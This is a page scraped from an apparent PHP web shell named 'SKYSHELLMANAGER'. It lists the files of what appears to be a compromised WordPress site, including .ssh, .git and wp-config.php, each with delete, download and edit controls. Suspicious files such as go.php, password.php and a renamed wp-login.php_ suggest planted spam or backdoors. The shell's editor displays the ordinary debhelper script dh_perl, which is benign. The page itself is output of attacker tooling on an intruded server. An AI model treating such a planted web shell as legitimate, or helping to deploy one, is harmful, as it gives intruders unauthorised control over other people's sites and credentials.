ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Name	Size	Permissions	Actions
📁 antibot	-	0700	🗑️
📁 tmp	-	0700	🗑️
📁 ..	-	0755	🗑️
📁 wp-admin	-	0700	🗑️
📁 media	-	0700	🗑️
📁 lnkr	-	0700	🗑️
📁 lib	-	0700	🗑️
📁 landing	-	0700	🗑️
📁 image	-	0700	🗑️
📁 wp-content	-	0700	🗑️
📁 banners	-	0700	🗑️
📁 wp-includes	-	0700	🗑️
📁 ajax	-	0700	🗑️
📁 .cache	-	0700	🗑️
📁 .git	-	0700	🗑️
📁 .ssh	-	0700	🗑️
📄 wp-blog-header.php	0.34 KB	0700	🗑️ ⬇️ ✏️
📄 service-worker.js	0.06 KB	0700	🗑️ ⬇️ ✏️
📄 sitemap.xml	1.75 KB	0700	🗑️ ⬇️ ✏️
📄 test_seowork.php	0.15 KB	0700	🗑️ ⬇️ ✏️
📄 wmail_09c465d87d3c161979df26f9829ccd42.html	0.16 KB	0700	🗑️ ⬇️ ✏️
📄 wp-trackback.php	4.77 KB	0700	🗑️ ⬇️ ✏️
📄 wp-signup.php	33.54 KB	0700	🗑️ ⬇️ ✏️
📄 wp-settings.php	24.41 KB	0700	🗑️ ⬇️ ✏️
📄 wp-login.php_	28.4 KB	0700	🗑️ ⬇️ ✏️
📄 wp-register.php	0.33 KB	0700	🗑️ ⬇️ ✏️
📄 wp-rdf.php	0.22 KB	0700	🗑️ ⬇️ ✏️
📄 wp-config.php	5.48 KB	0600	🗑️ ⬇️ ✏️
📄 wp-pass.php	0.4 KB	0700	🗑️ ⬇️ ✏️
📄 wp-cron.php	5.41 KB	0700	🗑️ ⬇️ ✏️
📄 wp-feed.php	0.24 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap7.xml	13.24 KB	0700	🗑️ ⬇️ ✏️
📄 wp-links-opml.php	2.44 KB	0700	🗑️ ⬇️ ✏️
📄 wp-login.php	48.17 KB	0700	🗑️ ⬇️ ✏️
📄 wp-mail.php	8.34 KB	0700	🗑️ ⬇️ ✏️
📄 robots.txt	0.5 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap.xml	1556.63 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap6.xml	261.13 KB	0700	🗑️ ⬇️ ✏️
📄 fdc43c7197b903c03ce97888.html	0 KB	0700	🗑️ ⬇️ ✏️
📄 .gitignore	1.45 KB	0700	🗑️ ⬇️ ✏️
📄 .htaccess	0.19 KB	0644	🗑️ ⬇️ ✏️
📄 506da8d1a8ff.html	0 KB	0700	🗑️ ⬇️ ✏️
📄 50x.html	1.38 KB	0700	🗑️ ⬇️ ✏️
📄 addl-sitemap.xml	0.58 KB	0700	🗑️ ⬇️ ✏️
📄 ads.txt	3.67 KB	0700	🗑️ ⬇️ ✏️
📄 agreement.php	6.55 KB	0700	🗑️ ⬇️ ✏️
📄 aios-bootstrap.php	0.9 KB	0700	🗑️ ⬇️ ✏️
📄 category-sitemap.xml	16.45 KB	0700	🗑️ ⬇️ ✏️
📄 f4539d9a1d2dddd90b094a1fb2744cbd.html	0.01 KB	0700	🗑️ ⬇️ ✏️
📄 go.php	0.95 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap5.xml	250.93 KB	0700	🗑️ ⬇️ ✏️
📄 google11d97dcef8eaeca0.html	0.05 KB	0700	🗑️ ⬇️ ✏️
📄 google670877162ab878dc.html	0.05 KB	0700	🗑️ ⬇️ ✏️
📄 googlecf81da77e01ae41c.html	0.05 KB	0700	🗑️ ⬇️ ✏️
📄 live-116cb0fc.txt	0.02 KB	0700	🗑️ ⬇️ ✏️
📄 page-sitemap.xml	11.42 KB	0700	🗑️ ⬇️ ✏️
📄 password.php	0.85 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap1.xml	257.69 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap2.xml	259.91 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap3.xml	258.74 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap4.xml	258.07 KB	0700	🗑️ ⬇️ ✏️
📄 yandex_571a37b60f6c38fe.html	0.16 KB	0700	🗑️ ⬇️ ✏️

Editing: dh_perl

#!/usr/bin/perl

=head1 NAME

dh_perl - calculates Perl dependencies and cleans up after MakeMaker

=cut

use strict;
use warnings;
use Config;
use File::Find;
use Debian::Debhelper::Dh_Lib;
use constant DISTRO_PERL => $^X;

our $VERSION = DH_BUILTIN_VERSION;

=head1 SYNOPSIS

B<dh_perl> [S<I<debhelper options>>] [B<-d>] [S<I<library dirs> ...>]

=head1 DESCRIPTION

B<dh_perl> is a debhelper program that is responsible for generating
the B<${perl:Depends}> substitutions and adding them to substvars files.

The program will look at Perl scripts and modules in your package,
and will use this information to generate a dependency on B<perl> or
B<perlapi>. The dependency will be substituted into your package's F<control>
file wherever you place the token B<${perl:Depends}>.

B<dh_perl> also cleans up empty directories that MakeMaker can generate when
installing Perl modules.

=head1 OPTIONS

=over 4

=item B<-d>

In some specific cases you may want to depend on B<perl-base> rather than the
full B<perl> package. If so, you can pass the -d option to make B<dh_perl> generate
a dependency on the correct base package. This is only necessary for some
packages that are included in the base system.

Note that this flag may cause no dependency on B<perl-base> to be generated at
all. B<perl-base> is Essential, so its dependency can be left out, unless a
versioned dependency is needed.

=item B<-V>

By default, scripts and architecture independent modules don't depend
on any specific version of B<perl>. The B<-V> option causes the current
version of the B<perl> (or B<perl-base> with B<-d>) package to be specified.

=item I<library dirs>

If your package installs Perl modules in non-standard
directories, you can make B<dh_perl> check those directories by passing their
names on the command line. It will only check the F<vendorlib> and F<vendorarch>
directories by default.

=back

=head1 CONFORMS TO

Debian policy, version 3.8.3

Perl policy, version 1.20

=cut

init();

my $vendorlib = substr $Config{vendorlib}, 1;
my $vendorarch = substr $Config{vendorarch}, 1;
if (is_cross_compiling()) {
	my $incdir = perl_cross_incdir();
	$vendorarch = substr qx/perl -I$incdir -MConfig -e 'print \$Config{vendorarch}'/, 1
		if defined $incdir;
}

# Cleaning the paths given on the command line
foreach (@ARGV) {
	s#/$##;
	s#^/##;
}

my $perl = 'perl';
# If -d is given, then the dependency is on perl-base rather than perl.
$perl .= '-base' if $dh{D_FLAG};

# dependency types
use constant PROGRAM   => 1;
use constant PM_MODULE => 2;
use constant XS_MODULE => 4;
use constant ARCHDEP_MODULE => 8;

use constant MA_ANY_INCOMPATIBLE_TYPES => ~(PROGRAM | PM_MODULE);

foreach my $package (@{$dh{DOPACKAGES}}) {
	my $tmp=tmpdir($package);

next unless -d $tmp;

# Check also for alternate locations given on the command line
	my @dirs = grep -d, map "$tmp/$_", $vendorlib, $vendorarch, @ARGV;

# Look for perl modules and check where they are installed
	my $deps = 0;
	find sub {
		return unless -f;
		$deps |= PM_MODULE if /\.pm$/;
		$deps |= XS_MODULE if /\.so$/;
		$deps |= ARCHDEP_MODULE
			if $File::Find::dir =~ /\Q$vendorarch\E/;
	}, @dirs if @dirs;

# find scripts
	$tmp =~ tr:/:/:s;
	$tmp =~ s{[^/]\K/$}{};
	my $usd_dir = "$tmp/usr/share/doc";
	my $check_script = sub {
		if ($_ eq $usd_dir) {
			$File::Find::prune = 1 if -d $_;
			return;
		}
		return unless -f and (-x _ or /\.pl$/);

return unless open(my $fd, '<', $_);
		my $path = $_;
		my $rewrite_shebang = 0;
		if (read($fd, local $_, 32) and m%^#!\s*(/usr/bin/perl|${\DISTRO_PERL}|/usr/bin/env\s+perl)\s%) {
			my $actual_perl = $1;
			$deps |= PROGRAM;
			$rewrite_shebang = 1 if ($actual_perl ne DISTRO_PERL);
		}
		close($fd);
		rewrite_shebang($path) if $rewrite_shebang;
	};
	find({
		wanted => $check_script,
		no_chdir => 1,
	}, $tmp);

if ($deps) {
		my $version="";
		if ($deps & XS_MODULE or $dh{V_FLAG_SET}) {
			($version) = qx_cmd('dpkg', '-s', $perl) =~ /^Version:\s*(\S+)/m
				unless $version;
			$version = ">= $version";
		}

my $perlarch = $perl;
		$perlarch .= ':any' if (($deps & MA_ANY_INCOMPATIBLE_TYPES) == 0) and not $dh{V_FLAG_SET};

# no need to depend on an un-versioned perl-base -- it's
		# essential
		addsubstvar($package, "perl:Depends", $perlarch, $version)
			if $perl ne 'perl-base' || length($version);

# add perlapi-<ver> for XS modules and other modules
		# installed into vendorarch
		addsubstvar($package, "perl:Depends",
			"perlapi-" . ($Config{debian_abi} || $Config{version}))
			if $deps & ( XS_MODULE | ARCHDEP_MODULE );
	}

# MakeMaker always makes lib and share dirs, but typically
	# only one directory is installed into.
	foreach my $dir ("$tmp/$vendorlib", "$tmp/$vendorarch") {
		if (-d $dir) {
			doit("rmdir", "--ignore-fail-on-non-empty", "--parents",
				"$dir");
		}
	}
}

sub rewrite_shebang {
	my ($file) = @_;
	doit($^X, '-p', '-i', '-e',
		's{#!\s*(/usr/bin/perl|' . quotemeta(DISTRO_PERL) . '|/usr/bin/env\s+perl)}{#! ' . DISTRO_PERL . '} if ($. == 1);',
		$file);
	return;
}

=head1 SEE ALSO

L<debhelper(7)>

This program is a part of debhelper.

=head1 AUTHOR

Brendan O'Dea <bod@debian.org>

=cut

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: dh_perl

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33